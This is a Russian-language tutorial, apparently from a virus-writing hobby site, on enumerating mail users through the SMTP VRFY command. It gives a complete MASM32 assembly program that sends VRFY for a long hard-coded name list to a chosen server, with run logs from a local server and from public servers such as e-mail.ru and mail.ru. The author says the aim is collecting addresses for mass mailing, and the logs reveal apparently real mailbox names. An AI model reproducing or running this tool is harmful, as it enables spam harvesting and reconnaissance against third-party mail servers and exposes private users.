Поиски свободного «почтальона Печкина». Часть 2

4. Команда VRFY

Итак, продолжим тему обзора возможностей различных SMTP-серверов рассмотрим возможности команды VRFY. Если собрать всяческую инфу по этой команде то все хором пишут что эта команда включена только на этапе настройки сервера, а потом она отключается. Никто не мешает нам это проверить.

Начнем с теории. Что там было в первом уроке ? …

«Команда VRFY используется для проверки наличия указанного в качестве аргумента почтового ящика. В ответ сервер посылает информацию о владельце ящика или сообщение об ошибке, свидетельствующее о том, что указанный ящик не существует.

Если указанный адрес указывает на несколько почтовых ящиков, команда VRFY возвращает список пользователей, внесенных в соответствующую рассылку, либо сообщение об ошибке, свидетельствующее о неоднозначности ответа на полученный запрос.

Используя эти команду, злоумышленники могут получить список адресов пользователей сервера.

Согласно RFC 821 , команда VRFY не являются обязательной. Поэтому, если сервер их поддерживает, они должны быть перечислены в ответе сервера на команду EHLO , как расширения ESMTP .»

Рассмотрим программу которая опрашивает заданный SMTP шник на предмет наличия пользователей с заданными именами ящиков.

Где взять список таких пользователей? Ответ : www.ya.ru! Задайте строку поиска :’Adam,Alba’ и у Вас получится.

Итак текст программы опроса имен у SMTP-сервера.

.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc

include \masm32\include\masm32.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\user32.lib
;---------------------------------------------------------------
includelib \masm32\lib\msvcrt.lib
;include datez.inc

Main PROTO
localtime PROTO c:DWORD
time PROTO c:DWORD
.data

tm STRUCT
tm_sec DWORD ? ; seconds after the minute - [0,59]
tm_min DWORD ? ; minutes after the hour - [0,59]
tm_hour DWORD ? ; hours since midnight - [0,23]
tm_mday DWORD ? ; day of the month - [1,31]
tm_mon DWORD ? ; months since January - [0,11]
tm_year DWORD ? ; years since 1900
tm_wday DWORD ? ; days since Sunday - [0,6]
tm_yday DWORD ? ; days since January 1 - [0,365]
tm_isdst DWORD ? ; daylight savings time flag
tm ENDS

_hostent struct
h_name dd ?
h_aliases dd ?
h_addrtype dw ?
h_length dw ?
h_addr_list dd ?
_hostent ends

Error_time db "Error localtime() ",13,10,0
template db "%d.%d.%d %d:%d:%d ",0

Port_s db 10 dup (0)
example_str db 13,10," Usage: _SMTPsch_0.0.0.exe PortNumber [IP-SMTPserver]",13,10,0

p db '.'
spc db 0
succ db " -> ",0
seed dd 12345
szFmtHostNotFound db '...',13,10,0

tab db ' ',0,13,10
tabl db ' ',0
;---------------------------------------------------------------

SOCKADDR STRUCT
sin_family WORD ?
sin_port WORD ?
sin_addr in_addr<>
sin_zero BYTE 8 dup (?)
SOCKADDR ENDS
;---------------------------------------------------------------
wsadata WSADATA <>
s_addr SOCKADDR <>
sock dd 0
r_buf db 512 dup(0)

;--------------------------------------------------------------
s_helo db "HELO EHLO",0dh,0ah
szhelo equ $ - offset s_helo

s_VRFY_c db "VRFY "
s_VRFY_d db 20 dup(0)
db "@host.com",0
db 13,10
szVRFY equ $ - offset s_VRFY_c

s_quit db "QUIT",0dh,0ah
szquit equ $ - s_quit
;---------------------------------------------------------------
crlf db 13,10,0
IP db 20 dup(0)
;---------------------------------------------------------------
szAvFw BYTE 0
BYTE "Aaron",0,"Adam",0,"Alba",0,"Alberto",0,"GorinM",0
BYTE "Alex",0,"Alexis",0,"Alice",0,"Allen",0,"Allison",0
BYTE "Amanda",0,"Amy",0,"Anderson",0,"Andrea",0,"SerovK",0
BYTE "Angel",0,"Angela",0,"Ann",0,"Anna",0,"Anthony",0
BYTE "Arnold",0,"Ashlee",0,"baby",0,"Back",0,"Bailey",0
BYTE "Baker",0,"Barbara",0,"Barber",0,"Barker",0,"Barnes",0
BYTE "Barton",0,"Bebe",0,"Beck",0,"Bell",0,"Ben",0
BYTE "Bennett",0,"Berry",0,"Bill",0,"Black",0,"Blair",0
BYTE "Blais",0,"Bob",0,"Boss",0,"Brad",0,"Bradley",0
BYTE "Brenda",0,"Brent",0,"Brian",0,"Bridget",0,"Britney",0
BYTE "Brooks",0,"Brown",0,"Bruce",0,"Burgess",0,"Bush",0
BYTE "Camilo",0,"Campbell",0,"Carl",0,"Carlos",0,"Carol",0
BYTE "Carson",0,"Carter",0,"Catherine",0,"Cecily",0,"Chang",0
BYTE "Chapman",0,"Charles",0,"Christ",0,"Christian",0,"Christina",0
BYTE "Christopher",0,"Clapp",0,"Clark",0,"Claudia",0,"Cline",0
BYTE "Clinton",0,"Coleman",0,"Collins",0,"Colon",0,"Cooper",0
BYTE "Cortez",0,"Craig",0,"Cruz",0,"Cummings",0,"Cynthia",0
BYTE "Dan",0,"Daniel",0,"Danny",0,"Daren",0,"Dave",0
BYTE "David",0,"Davis",0,"Day",0,"Debby",0,"Debra",0
BYTE "Deleon",0,"Demer",0,"Dennis",0,"Devon",0,"Diane",0
BYTE "Diaz",0,"Doan",0,"Dorcas",0,"Dorothy",0,"Douglas",0
BYTE "Dulce",0,"Duncan",0,"Dunn",0,"Duran",0,"Ed",0
BYTE "Edith",0,"Edward",0,"Elizabeth",0,"Elliott",0,"Ellis",0
BYTE "Emily",0,"Emma",0,"Emmet",0,"Eric",0,"Erica",0
BYTE "Esteban",0,"Estrada",0,"Faith",0,"Fields",0,"Flores",0
BYTE "Ford",0,"Fox",0,"Frances",0,"Francis",0,"Frank",0
BYTE "Freeman",0,"Fred",0,"Fuller",0,"Gabriel",0,"Gale",0
BYTE "Galvin",0,"Garcia",0,"Gary",0,"Gates",0,"George",0
BYTE "Gibson",0,"Gillian",0,"girl",0,"Glenn",0,"Gomez",0
BYTE "Gonzalez",0,"Grace",0,"Grant",0,"Green",0,"Greg",0
BYTE "Griffin",0,"Hale",0,"Hamilton",0,"Hannah",0,"Harrell",0
BYTE "Harrison",0,"Hayes",0,"Heather",0,"Heim",0,"Helen",0
BYTE "Henry",0,"Hernandez",0,"Hess",0,"Hester",0,"Hill",0
BYTE "Hines",0,"Holly",0,"Holt",0,"Houston",0,"Howard",0
BYTE "Huff",0,"Hugh",0,"Hung",0,"Hunter",0,"Irish",0
BYTE "Isabel",0,"Ivette",0,"Ivory",0,"Jack",0,"Jackson",0
BYTE "Jacob",0,"Jacobs",0,"Jame",0,"James",0,"Jamie",0
BYTE "Jamil",0,"Jane",0,"Janet",0,"Jason",0,"Jeff",0
BYTE "Jeffrey",0,"Jenkins",0,"Jennifer",0,"Jerry",0,"Jessica",0
BYTE "Jesus",0,"Jim",0,"Jimmy",0,"Joan",0,"Joanna",0
BYTE "Joe",0,"John",0,"Johnson",0,"Jolley",0,"Jones",0
BYTE "Jose",0,"Joshua",0,"Juan",0,"Judith",0,"Julia",0
BYTE "Julie",0,"Julio",0,"Junior",0,"Karen",0,"Karrie",0
BYTE "Keith",0,"Kelley",0,"Kelly",0,"Kemp",0,"Kevin",0
BYTE "Kim",0,"Kimberly",0,"King",0,"Klein",0,"Knight",0
BYTE "Lai",0,"Lambert",0,"Lara",0,"Laster",0,"Laura",0
BYTE "Lawrence",0,"Lee",0,"Legg",0,"Leo",0,"Leonard",0
BYTE "Lewis",0,"Lincoln",0,"Linda",0,"Lisa",0,"Lopez",0
BYTE "Lucas",0,"Lucy",0,"Mabe",0,"Mabel",0,"Madison",0
BYTE "Mami",0,"Marcos",0,"Margaret",0,"Margery",0,"Maria",0
BYTE "Marie",0,"Mario",0,"Mark",0,"Martha",0,"Martin",0
BYTE "Mary",0,"Mathew",0,"Matt",0,"May",0,"Maya",0
BYTE "Mcdonald",0,"Medina",0,"Melissa",0,"Mendoza",0,"Meyers",0
BYTE "Michael",0,"Miguel",0,"Mike",0,"Miles",0,"Miles",0
BYTE "Miles",0,"Miller",0,"Mitchell",0,"Monique",0,"Moore",0
BYTE "Moran",0,"Morris",0,"Morton",0,"Murphy",0,"Nancy",0
BYTE "Nash",0,"Navarro",0,"Neal",0,"Nelson",0,"Newman",0
BYTE "Nicholas",0,"Nicole",0,"Norris",0,"Olsen",0,"Olson",0
BYTE "Ortega",0,"Page",0,"Pamela",0,"Papi",0,"Park",0
BYTE "Parker",0,"Parks",0,"Parson",0,"Patel",0,"Patricia",0
BYTE "Patrick",0,"Patton",0,"Paul",0,"Pedro",0,"Perez",0
BYTE "Peter",0,"Petersen",0,"Philip",0,"Pierce",0,"Pitts",0
BYTE "Price",0,"Ramirez",0,"Ramon",0,"Randi",0,"Randy",0
BYTE "Ray",0,"Rebeca",0,"Reyes",0,"Rios",0,"Robby",0
BYTE "Roberts",0,"Robin",0,"Robinson",0,"Rogers",0,"Roney",0
BYTE "Ross",0,"Rowland",0,"Royd",0,"Ruiz",0,"Salomon",0
BYTE "Sam",0,"Samantha",0,"Samuel",0,"www",0,"root",0
BYTE "Sanchez",0,"Sanders",0,"Sandra",0,"Santiago",0,"Santos",0
BYTE "Sarah",0,"Scott",0,"Serg",0,"sexy",0,"Sharp",0
BYTE "Shaw",0,"Shawn",0,"Shirley",0,"Simon",0,"Simpson",0
BYTE "Sims",0,"Smith",0,"Snow",0,"Soto",0,"Sparks",0
BYTE "Spider",0,"Stan",0,"Stanley",0,"Stephanie",0,"Steve",0
BYTE "Steven",0,"Stone",0,"Summers",0,"Susan",0,"Susanna",0
BYTE "Taylor",0,"Taylor",0,"Ted",0,"Tera",0,"Thomas",0
BYTE "Thug",0,"Timothy",0,"Tom",0,"Torres",0,"Turner",0
BYTE "Ursula",0,"Valdez",0,"Vannessa",0,"Veda",0,"Virginia",0
BYTE "Wagner",0,"Walker",0,"Walter",0,"Washington",0,"Waters",0
BYTE "Watkins",0,"Watson",0,"Watts",0,"Weaver",0,"Webb",0
BYTE "Wells",0,"West",0,"White",0,"Williams",0,"Wilson",0
BYTE "Wise",0,"Wood",0,"Woodard",0,"Wynne",0
BYTE "Yates",0,"Young",0,"Zhang",0,"admin",0,0
;---------------------------------------------------------------
.data?
this_time LONG ?
New_Time tm <>
lpNew_Time DWORD ?
TextBuf db 64 dup( ? )
Port dd ?
numBuffer db ?
.code
;---------------------------------------------------------------
_this_time proc

invoke time,NULL
mov this_time,eax
invoke localtime,ADDR this_time
.IF eax == NULL
invoke StdOut,ADDR Error_time
ret
.ENDIF
mov lpNew_Time,eax
invoke MemCopy,lpNew_Time,ADDR New_Time,sizeof New_Time
add New_Time.tm_year,1900
add New_Time.tm_mon,1

invoke wsprintf,ADDR TextBuf,ADDR template,\
New_Time.tm_year,\
New_Time.tm_mon,\
New_Time.tm_mday,\
New_Time.tm_hour,\
New_Time.tm_min,\
New_Time.tm_sec
invoke StdOut,ADDR TextBuf
_this_time endp
;---------------------------------------------------------------
clear proc
mov ecx,512
lea edi,offset r_buf
r:
mov byte ptr [edi],00h
inc edi
loop r

mov byte ptr [r_buf+512],0
ret
clear endp
;---------------------------------------------------------------
recvlp proc
call clear
invoke recv,sock,addr r_buf,512,0
.IF EAX!=SOCKET_ERROR
invoke StdOut,ADDR tab
invoke StdOut,ADDR r_buf
.ENDIF
ret
recvlp endp
;---------------------------------------------------------------
; ##############################################################
start:
invoke Main
invoke ExitProcess,0
; ##############################################################

Main proc
local ia :in_addr
; #############################################################

invoke GetCL,1,ADDR IP
.if eax != 1
invoke StdOut,ADDR example_str
invoke StdOut,ADDR crlf
ret
.endif
call _this_time

invoke StdOut,ADDR tabl
invoke StdOut,ADDR IP
invoke StdOut,ADDR succ

invoke WSAStartup,101h,offset wsadata
cmp eax,INVALID_SOCKET
jz ___error
invoke socket,AF_INET,SOCK_STREAM,0
mov sock,eax
;=============================================================
;================================== DNS ======================
;=============================================================
;=============================================================

invoke inet_addr, ADDR IP
.if eax == INADDR_NONE
invoke gethostbyname, eax
.else
mov ia.S_un.S_addr,eax
invoke gethostbyaddr,addr ia, sizeof ia, AF_INET
.endif;

.if eax == NULL
invoke StdOut,ADDR szFmtHostNotFound
jmp __cleanup
.endif

push eax
mov eax,(_hostent ptr [eax]).h_addr_list
mov eax,[eax]
invoke inet_ntoa, dword ptr [eax]
pop ecx
invoke StdOut,(_hostent ptr [ecx]).h_name
invoke StdOut,ADDR crlf
__cleanup:
;============================================================
invoke htons,25
mov s_addr.sin_port,ax
mov s_addr.sin_family,AF_INET
invoke inet_addr,ADDR IP
mov s_addr.sin_addr,eax
invoke connect,sock,addr s_addr,sizeof s_addr
call recvlp

invoke send,sock,addr s_helo,szhelo,0
call recvlp
;-------------------------------------------------------------------------
lea esi, szAvFw
@@:
lodsb
test al, al
jnz @b
mov al, BYTE PTR [esi]
test al, al
jz ListDone
invoke StdOut,esi
invoke lstrcpy,ADDR s_VRFY_d,ESI

invoke send,sock,ADDR s_VRFY_c,szVRFY,0
call recvlp
cmp dword ptr [r_buf],' 124'
jz ___quit
cmp dword ptr [r_buf],' 052'
jnz ___next
___next:
jmp @b
ListDone:

___quit:
invoke send,sock,addr s_quit,szquit,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
__jmp1:
___error:
invoke closesocket,sock
invoke WSACleanup
ret
Main endp
end start

_VRFY_c db "VRFY "
s_VRFY_d db 20 dup(0)
db "@host.com",0; < важно чтобы что то было после @ !!!
db 13,10
szVRFY equ $ - offset s_VRFY_c

Прописываем все особенности формата команды МКАН. Важен следующий момент. Команда МКАН желает видеть своим аргументом полный адрес пользователя, то есть в виде ‘имя’ + ‘@доменное имя’. Причем для многих правильность части ‘@доменное имя’ не важна. Мы поместим туда просто ‘@host.com’.

2)

szAvFw BYTE 0
BYTE "Aaron",0,"Adam",0,"Alba",0,"Alberto",0,"GorinM",0
BYTE "Alex",0,"Alexis",0,"Alice",0,"Allen",0,"Allison",0
BYTE "Amanda",0,"Amy",0,"Anderson",0,"Andrea",0,"SerovK",0
BYTE "Angel",0,"Angela",0,"Ann",0,"Anna",0,"Anthony",0
BYTE "Arnold",0,"Ashlee",0,"baby",0,"Back",0,"Bailey",0
.
.
.
BYTE "Yates",0,"Young",0,"Zhang",0,"admin",0,0

Формируем массив имен вероятных пользователей. Обратите внимание на завершающую последовательность ‘0,0’ , так алгоритм узнает конец набора имен.

lea esi, szAvFw
@@:
lodsb
test al, al
jnz @b
mov al, BYTE PTR [esi]
test al, al
jz ListDone
invoke StdOut,esi
invoke lstrcpy,ADDR s_VRFY_d,ESI

invoke send,sock,ADDR s_VRFY_c,szVRFY,0
call recvlp
cmp dword ptr [r_buf],' 124'
jz ___quit
cmp dword ptr [r_buf],' 052'
jnz ___next
___next:
jmp @b
ListDone:

… а вот и сам алгоритм подстановки имен. Берем первый символ и проверяем – это ‘0’ ? Нет? Берем второй – это ‘0’? Нет? Значит это следующее имя из списка, и мы выводим его в команду VRFY.

cmp dword ptr [r_buf],' 124'
jz ___quit

А так мы отслеживаем коды ошибок сервера и в зависимости от этого перенаправляем управление.

Посмотрим на результаты. Сначала локальный сервер.

2005.3.25 16:26:45 192.168.1.12 -> ...
220 relay.orel.bk.ru ESMTP Postfix..
250 relay.orel.bk.ru..
250 Ok..
250 Ok..
Aaron 450 <Aaron>: Recipient address rejected: User unknown in local recipient table..
Adam 450 <Adam>: Recipient address rejected: User unknown in local recipient table..
Alba 450 <Alba>: Recipient address rejected: User unknown in local recipient table..
Alberto 450 <Alberto>: Recipient address rejected: User unknown in local recipient table..
GorinM 252 GorinM..
Alex 450 <Alex>: Recipient address rejected: User unknown in local recipient table..
Alexis 450 <Alexis>: Recipient address rejected: User unknown in local recipient table..
Alice 450 <Alice>: Recipient address rejected: User unknown in local recipient table..
Allen 450 <Allen>: Recipient address rejected: User unknown in local recipient table..
Allison 450 <Allison>: Recipient address rejected: User unknown in local recipient table..
Amanda 450 <Amanda>: Recipient address rejected: User unknown in local recipient table..
Amy 450 <Amy>: Recipient address rejected: User unknown in local recipient table..
Anderson 450 <Anderson>: Recipient address rejected: User unknown in local recipient table..
Andrea 450 <Andrea>: Recipient address rejected: User unknown in local recipient table..
SerovK 252 SerovK..
Angel 450 <Angel>: Recipient address rejected: User unknown in local recipient table..
Angela 450 <Angela>: Recipient address rejected: User unknown in local recipient table..
Ann 450 <Ann>: Recipient address rejected: User unknown in local recipient table..
Anna 450 <Anna>: Recipient address rejected: User unknown in local recipient table..
Anthony 450 <Anthony>: Recipient address rejected: User unknown in local recipient table..
Arnold 450 <Arnold>: Recipient address rejected: User unknown in local recipient table..
Ashlee 450 <Ashlee>: Recipient address rejected: User unknown in local recipient table..
baby 421 relay.orel.bk.ru Error: too many errors..

Ну что, можно сказать кое-что нашлось ! GorinM и SerovK – это реальные пользователи сервера. А именно GorinM@relay.orel.bk.ru и SerovK@relay.orel.bk.ru или точнее GorinM@orel.bk.ru и SerovK@orel.bk.ru.

Тут я открою Вам маленькую тайну. На самом деле я специально подставил известных мне пользователей в массив имен. Хотелось проверить. Но в боевых условиях все зависит от полноты базы и случая. Так же хочется отметить факт корректного завершения соединения при 23-х ошибках команды VRFY на ненастроенном PostFix - е. Более того PostFix не выдает в ответ полные имена и e-mail – ы пользователей сервера. Это тоже плюс, так как некоторые сервера об этом говорят и не «краснеют».

Добавим в список пользователей нашего локального SMTP- шника пользователя Aaron. Создадим ему ящик Aaron@mail.ru. Почему Aaron? Он же первый в нашем списке имен.

Запустим программу …

2005.4.27 13:0:33 127.0.0.1 -> GorinM
220 mail.ru ESMTP MDaemon 6.7.0 UNREGISTERED; Wed, 27 Apr 2005 13:00:34 +0400
250 mail.ru Hello EHLO, pleased to meet you
Aaron 502 command is not active
Adam 502 command is not active
Alba 502 command is not active
Alberto 502 command is not active
GorinM 502 command is not active
Alex 502 command is not active
Alexis 502 command is not active
Alice 502 command is not active
Allen 502 command is not active
Allison 502 command is not active
.
.
.

Wood 502 command is not active
Woodard 502 command is not active
Wynne 502 command is not active
Yates 502 command is not active
Young 502 command is not active
Zhang 502 command is not active
admin 502 command is not active
221 See ya in cyberspace

Обратите внимание как удобно с помощью MDaemon – а смотреть на диалог с SMTP – сервером.

Ну что мы имеем. У MDaemon – а команда VRFY отключена. Однако количество неверных попыток не ограничен. Перебрал он весь мой список имен. Трафик сервер мне не экономит. :)

Посмтрим как обстоит дело с другими серверами …

2005.3.28 9:9:35 195.161.118.50 -> www.e-mail.ru
220 Welcome to E-Mail.ru..
250 e-mail.ru. Hello EHLO (198.172.157.13)..
250 Command MAIL OK..
551 Command RCPT User not local and relaying not permitted from you (198.172.157.13)..
Aaron 250 Command VRFY User Aaron OK..
Adam 250 Command VRFY User Adam OK..
Alba 250 Command VRFY User Alba OK..
Alberto 250 Command VRFY User Alberto OK..
.
.
.
Wise 250 Command VRFY User Wise OK..
Wood 250 Command VRFY User Wood OK..
Woodard 250 Command VRFY User Woodard OK..
Wynne 250 Command VRFY User Wynne OK..
Yates 250 Command VRFY User Yates OK..
Young 250 Command VRFY User Young OK..
Zhang 250 Command VRFY User Zhang OK..
admin 250 Command VRFY User admin OK..
221 Command QUIT e-mail.ru Service closing transmission channel to ehlo..

Тут есть все. Как это мило! Наберем любое имя + @e-mail.ru и вот Вам адрес готов !!!

2005.3.28 9:21:49 194.67.23.111 -> smtp.mail.ru
220 mail.ru ESMTP Mon, 28 Mar 2005 10:23:12 +0400..
250 mx1.mail.ru Hello EHLO [198.172.157.13]..
452 Space shortage, please try later..
503 sender not yet given..
Aaron 500 unrecognized command..
Adam 500 unrecognized command..
Alba 500 unrecognized command..
Alberto 500 Too many unrecognized commands..

Итак, выводы. Некоторые сервера предоставляют перечень имен пользователей по команде VRFY (www.e-mail.ru например), что дает таки возможность злоумышленнику определить массу адресов для рассылки. В следующей статье мы напишем программу которая сама определяет SMTP – сервер в локальной сети, «подбирается к нему» и … отсылает через него письмо адресату.
До свиданья.

Исходник

[C] _follower@mail.ru

У вас есть предложения по нашему сайту?
Напишите сюда

Любимые сайты вирмейкеров:
(WASM) (RSDN)

Поиски свободного «почтальона Печкина». Часть 2

4. Команда VRFY

Наши новости

Статьи

Программы

Релизы

Ссылки

Наша лаборатория